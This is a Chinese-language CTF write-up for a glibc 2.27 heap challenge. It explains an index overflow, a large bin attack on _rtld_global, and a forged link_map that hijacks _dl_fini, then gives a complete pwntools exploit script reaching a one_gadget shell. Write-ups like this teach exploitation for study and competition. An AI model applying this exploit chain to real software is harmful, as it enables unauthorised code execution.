保护显然是全开
放size的chunk跟放地址的chunk挨着
然后数组能越界
所以当我们申请序号是16的chunk的时候
chunk的地址会写在chunk0的size地方
就造成了堆溢出
然后我们申请的chunk只能是large bin里的。
所以这道题说白了就是 2.27 large bin 堆溢出。
我们试图考虑利用攻击global_max_fast的手法,我们虽然能够覆盖到global_max_fast,但是我们申请的chunk的大小不够,不够我们后续的chunk释放分配到_IO_list_all的需求,所以不行。
那么我们考虑类似于house of banana的利用手法
我们攻击&_reld_global中的link_map结构体。
具体做法首先通过溢出泄露libc
然后我们用large bin attack
可以往任意地址写一个堆地址
我们直接写在&_reld_global中的link_map的指针处
然后我们就可以伪造link_map结构体
具体怎么伪造我们还要看源码
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
/* All following members are internal to the dynamic linker.
They may change without notice. */
/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;
/* Number of the namespace this link map belongs to. */
Lmid_t l_ns;
struct libname_list *l_libname;
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
const ElfW(Phdr) *l_phdr; /* Pointer to program header table in core. */
ElfW(Addr) l_entry; /* Entry point location. */
ElfW(Half) l_phnum; /* Number of program header entries. */
ElfW(Half) l_ldnum; /* Number of dynamic segment entries. */
/* Array of DT_NEEDED dependencies and their dependencies, in
dependency order for symbol lookup (with and without
duplicates). There is no entry before the dependencies have
been loaded. */
struct r_scope_elem l_searchlist;
/* We need a special searchlist to process objects marked with
DT_SYMBOLIC. */
struct r_scope_elem l_symbolic_searchlist;
/* Dependent object that first caused this object to be loaded. */
struct link_map *l_loader;
/* Array with version names. */
struct r_found_version *l_versions;
unsigned int l_nversions;
/* Symbol hash table. */
Elf_Symndx l_nbuckets;
Elf32_Word l_gnu_bitmask_idxbits;
Elf32_Word l_gnu_shift;
const ElfW(Addr) *l_gnu_bitmask;
union
{
const Elf32_Word *l_gnu_buckets;
const Elf_Symndx *l_chain;
};
union
{
const Elf32_Word *l_gnu_chain_zero;
const Elf_Symndx *l_buckets;
};
unsigned int l_direct_opencount; /* Reference count for dlopen/dlclose. */
enum /* Where this object came from. */
{
lt_executable, /* The main executable program. */
lt_library, /* Library needed by main executable. */
lt_loaded /* Extra run-time loaded shared object. */
} l_type:2;
unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
unsigned int l_global:1; /* Nonzero if object in _dl_global_scope. */
unsigned int l_reserved:2; /* Reserved for internal use. */
unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
to by `l_phdr' is allocated. */
unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in
the l_libname list. */
unsigned int l_faked:1; /* Nonzero if this is a faked descriptor
without associated file. */
unsigned int l_need_tls_init:1; /* Nonzero if GL(dl_init_static_tls)
should be called on this link map
when relocation finishes. */
unsigned int l_auditing:1; /* Nonzero if the DSO is used in auditing. */
unsigned int l_audit_any_plt:1; /* Nonzero if at least one audit module
is interested in the PLT interception.*/
unsigned int l_removed:1; /* Nozero if the object cannot be used anymore
since it is removed. */
unsigned int l_contiguous:1; /* Nonzero if inter-segment holes are
mprotected or if no holes are present at
all. */
unsigned int l_symbolic_in_local_scope:1; /* Nonzero if l_local_scope
during LD_TRACE_PRELINKING=1
contains any DT_SYMBOLIC
libraries. */
unsigned int l_free_initfini:1; /* Nonzero if l_initfini can be
freed, ie. not allocated with
the dummy malloc in ld.so. */
#include <link_map.h>
/* Collected information about own RPATH directories. */
struct r_search_path_struct l_rpath_dirs;
/* Collected results of relocation while profiling. */
struct reloc_result
{
DL_FIXUP_VALUE_TYPE addr;
struct link_map *bound;
unsigned int boundndx;
uint32_t enterexit;
unsigned int flags;
} *l_reloc_result;
/* Pointer to the version information if available. */
ElfW(Versym) *l_versyms;
/* String specifying the path where this object was found. */
const char *l_origin;
/* Start and finish of memory map for this object. l_map_start
need not be the same as l_addr. */
ElfW(Addr) l_map_start, l_map_end;
/* End of the executable part of the mapping. */
ElfW(Addr) l_text_end;
/* Default array for 'l_scope'. */
struct r_scope_elem *l_scope_mem[4];
/* Size of array allocated for 'l_scope'. */
size_t l_scope_max;
/* This is an array defining the lookup scope for this link map.
There are initially at most three different scope lists. */
struct r_scope_elem **l_scope;
/* A similar array, this time only with the local scope. This is
used occasionally. */
struct r_scope_elem *l_local_scope[2];
/* This information is kept to check for sure whether a shared
object is the same as one already loaded. */
struct r_file_id l_file_id;
/* Collected information about own RUNPATH directories. */
struct r_search_path_struct l_runpath_dirs;
/* List of object in order of the init and fini calls. */
struct link_map **l_initfini;
/* List of the dependencies introduced through symbol binding. */
struct link_map_reldeps
{
unsigned int act;
struct link_map *list[];
} *l_reldeps;
unsigned int l_reldepsmax;
/* Nonzero if the DSO is used. */
unsigned int l_used;
/* Various flag words. */
ElfW(Word) l_feature_1;
ElfW(Word) l_flags_1;
ElfW(Word) l_flags;
/* Temporarily used in `dl_close'. */
int l_idx;
struct link_map_machine l_mach;
struct
{
const ElfW(Sym) *sym;
int type_class;
struct link_map *value;
const ElfW(Sym) *ret;
} l_lookup_cache;
/* Thread-local storage related info. */
/* Start of the initialization image. */
void *l_tls_initimage;
/* Size of the initialization image. */
size_t l_tls_initimage_size;
/* Size of the TLS block. */
size_t l_tls_blocksize;
/* Alignment requirement of the TLS block. */
size_t l_tls_align;
/* Offset of first byte module alignment. */
size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET 0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
# define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
# define FORCED_DYNAMIC_TLS_OFFSET -2
# else
# error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif
/* For objects present at startup time: offset in the static TLS block. */
ptrdiff_t l_tls_offset;
/* Index of the module in the dtv array. */
size_t l_tls_modid;
/* Number of thread_local objects constructed by this DSO. This is
atomically accessed and modified and is not always protected by the load
lock. See also: CONCURRENCY NOTES in cxa_thread_atexit_impl.c. */
size_t l_tls_dtor_count;
/* Information used to change permission after the relocations are
done. */
ElfW(Addr) l_relro_addr;
size_t l_relro_size;
unsigned long long int l_serial;
/* Audit information. This array apparent must be the last in the
structure. Never add something after it. */
struct auditstate
{
uintptr_t cookie;
unsigned int bindflags;
} l_audit[0];
};
我们要注意里面有l_init_called的检查,它也是结构体中的一项,不同的libc中它的位置不一样,我们还要去调,看看他在哪。
然后改成8.
然后我们最后要达成一个什么目的呢。
最后他会执行fini_array中的函数,我们通过控制结构体来控制它。
最后达到这种效果。
具体它在哪个位置不同的libc我们要细调。
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./Note"
local = 1
if local:
r = process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r = remote("81.69.230.99",9003)
elf = ELF(pc)
libc = ELF("./libc-2.27.so")
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
def add(idx, size):
sla("choice >> ", "1")
sla("Note index :", str(idx))
sla("Note size :", str(size))
def delete(idx):
sla("choice >> ", "2")
sla("Note index :", str(idx))
def edit(idx, con):
sla("choice >> ", "3")
sla("Note index :", str(idx))
sa("Note :", con)
def show(idx):
sla("choice >> ", "4")
sla("Note index :", str(idx))
add(0, 0x450) #0
add(1, 0x450) #1
add(2, 0x430) #2
add(3, 0x460) #3
add(16, 0x500) #16
delete(1)
edit(0, 'a' * 0x460)
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + libc.search("/bin/sh\x00").next()
_rtld_global = libc_base + 0x619060
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
og = libc_base + 0x4f3c2
ret = libc_base + 0x2419a
pop_rdi = libc_base + 0x215bf
lg("libc_base")
lg("setcontext_53")
edit(0, '\x00' * 0x450 + p64(0) + p64(0x461))
add(4, 0x500)
payload = '\x00' * 0x450 + p64(0) + p64(0x461)
payload += p64(0) + p64(_rtld_global - 0x10) + p64(0) + p64(_rtld_global - 0x20)
edit(0, payload)
delete(3)
add(5, 0x500)
edit(0, 'a' * 0x468)
show(0)
ru("a" * 0x468)
fake_link_map_addr = u64(r.recv(6).ljust(8, "\x00"))
lg("fake_link_map_addr")
edit(0, '\x00' * 0x450 + p64(0) + p64(0x461) + p64(0))
# fake_link_map_addr
l_addr = fake_link_map_addr+0x150
pay = flat([
l_addr,0,
0,fake_link_map_addr+0x18, #0x10
0,fake_link_map_addr, #0x20
fake_link_map_addr+0x50,0, #0x30
fake_link_map_addr+0x18,0, #0x40
0,fake_link_map_addr+0x30, #0x50
0,fake_link_map_addr+0x58, # 0x60
0,fake_link_map_addr+0x50, #0x70
fake_link_map_addr+0x58,0, #0x80
'\x00'*(0x100-0x80),
fake_link_map_addr+0x140,0, #0x110
fake_link_map_addr+0x128,fake_link_map_addr+0x140, #0x120
0x10,fake_link_map_addr+0x150,
0xdead,0,
setcontext_53,og, #0x150
og,0, #0x160
og,
'\x00'*0x80,
fake_link_map_addr+0x160,
pop_rdi
])
pay = pay.ljust(0x314,'\x00')+'\x08'
pay = pay.ljust(0x470,'\x00')
payload = '\x00' * 0xcf0 + pay
edit(0, payload)
src='''
bin
tele &_rtld_global
x/20xg $rebase(0x202060)
dir ./glibc/glibc-2.27/elf/
b *(_dl_fini+464)
# b *(_dl_fini+184)
# b *(_dl_fini+536)
# b *(_dl_fini+410)
# b *$rebase(0xeed)
c
'''
dbs(src)
sla("choice >> ", "5")
ti()
其中对于伪造结构体那一段是一个大概的模板,里面的具体数值还要细调。